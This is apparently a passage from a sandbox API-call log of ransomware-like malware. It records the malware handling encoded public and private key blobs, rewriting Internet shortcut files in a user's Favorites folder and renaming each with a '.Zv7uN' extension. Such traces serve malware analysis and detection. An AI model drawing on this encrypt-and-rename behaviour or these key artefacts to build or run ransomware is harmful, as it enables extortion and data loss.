lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.011] GetCurrentThreadId () returned 0xa30 [0126.011] GetCurrentThreadId () returned 0xa30 [0126.011] GetCurrentThreadId () returned 0xa30 [0126.011] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.011] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.012] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.012] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x86 [0126.012] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.012] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x86, lpOverlapped=0x0) returned 1 [0126.015] CloseHandle (hObject=0x1e8) returned 1 [0126.015] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.017] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x86, lpOverlapped=0x0) returned 1 [0126.019] CloseHandle (hObject=0x1e8) returned 1 [0126.019] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.zv7un")) returned 1 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] GetCurrentThreadId () returned 0xa30 [0126.020] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0126.021] GetLastError () returned 0x12 [0126.021] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.021] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fc62f60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fc62f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0126.021] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0126.021] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.021] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fc62f60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fc62f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.021] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.021] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.021] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fbca9e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="IE Add-on site.url.Zv7uN", cAlternateFileName="IEADD-~1.ZV7")) returned 1 [0126.021] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.021] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.021] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fbf0b40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url.Zv7uN", cAlternateFileName="IESITE~1.ZV7")) returned 1 [0126.021] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.022] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.022] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fc16ca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft At Home.url.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 1 [0126.022] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.022] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.022] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fc3ce00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft At Work.url.Zv7uN", cAlternateFileName="MICROS~2.ZV7")) returned 1 [0126.022] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.022] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.022] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fc62f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft Store.url.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 1 [0126.022] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.022] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.023] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fc62f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft Store.url.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 0 [0126.023] GetLastError () returned 0x12 [0126.023] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.023] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0126.023] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.023] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.023] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0126.040] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.040] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0126.040] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0126.040] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.041] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0126.041] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x80) returned 1 [0126.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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